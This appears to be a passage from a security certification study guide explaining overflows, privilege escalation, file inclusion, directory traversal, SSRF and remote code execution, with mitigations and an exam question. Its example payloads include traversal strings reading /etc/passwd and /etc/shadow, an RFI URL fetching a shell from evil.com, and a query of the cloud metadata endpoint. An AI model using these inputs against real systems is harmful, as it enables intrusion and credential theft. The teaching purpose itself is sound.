3.4.2. Overflow, Escalation, and Inclusion Vulnerabilities

💡 First Principle: Memory corruption vulnerabilities (overflows) let attackers write data outside its intended memory boundary, potentially overwriting program control data and redirecting execution — these flaws exist because languages like C and C++ trust the programmer to track buffer sizes manually.

Buffer Overflow — Attacker writes more data to a fixed-size buffer than it can hold, overflowing into adjacent memory. In classic stack-based overflows, this can overwrite the return address, redirecting program execution to attacker-controlled code (shellcode).

Stack Overflow — Specifically targets stack memory. Overwriting the return address or saved frame pointer redirects execution when a function returns.

Heap Overflow — Targets dynamically allocated memory (heap). More complex to exploit than stack overflows; can corrupt heap metadata or adjacent data structures.

Integer Overflow — An arithmetic operation produces a result too large for the integer type, wrapping around to a small/negative value. If the result is used as a buffer size or array index, it can lead to under-allocation and subsequent overflow.

Prevention: Memory-safe languages (Rust, Go, Java), bounds checking, compiler mitigations (ASLR, DEP/NX, stack canaries), RELRO.

Privilege Escalation — Attacker gains higher privileges than initially authorized. Two types:

• Vertical escalation — Gaining higher-privilege access (user → admin → root)
• Horizontal escalation — Accessing another user's resources at the same privilege level

Common methods: exploiting SUID binaries (Linux), unquoted service paths (Windows), kernel vulnerabilities, misconfigured sudo rules, token impersonation.

Local File Inclusion (LFI) / Remote File Inclusion (RFI):

LFI — Application includes files from the local filesystem based on user-supplied input. Attacker traverses directory structure to include sensitive files: ?page=../../../../etc/passwd. Can read sensitive config files or, if logs are included, achieve code execution via log poisoning.

RFI — Application includes files from a remote URL. Attacker provides their own URL hosting malicious code: ?page=http://evil.com/shell.php. Directly achieves remote code execution if PHP allow_url_include is enabled.

Directory Traversal — Related to LFI; specifically the technique of using ../ sequences to escape the intended directory and access arbitrary files: ?file=../../etc/shadow.

Server-Side Request Forgery (SSRF) — Application makes outbound HTTP requests based on user-supplied URLs. Attacker provides internal URLs to probe internal services: ?url=http://169.254.169.254/latest/meta-data/ (AWS metadata service). SSRF can expose cloud credentials, internal APIs, and services not accessible from the internet.

Remote Code Execution (RCE) — The most severe outcome: attacker can execute arbitrary code on the target system. Can result from buffer overflow, deserialization vulnerabilities, SSTI (Server-Side Template Injection), command injection, or successful exploitation of any number of other vulnerability classes.

⚠️ Exam Trap: SSRF is particularly dangerous in cloud environments because cloud metadata services (AWS EC2 metadata at 169.254.169.254, Azure IMDS at 169.254.169.254) return IAM credentials when queried. An SSRF vulnerability in an EC2-hosted application can expose the instance's IAM role credentials, potentially granting full cloud account access.

Reflection Question: An analyst discovers a PHP application that includes pages using include($_GET['page'] . '.php'). On a legacy PHP 5.2 install, a tester accesses /index.php?page=../../../../etc/passwd%00 and retrieves the file (the null-byte bypass was fixed in PHP 5.3.4, but the technique is still tested). What two vulnerabilities are present (the inclusion flaw and the bypass technique), and what is the correct fix?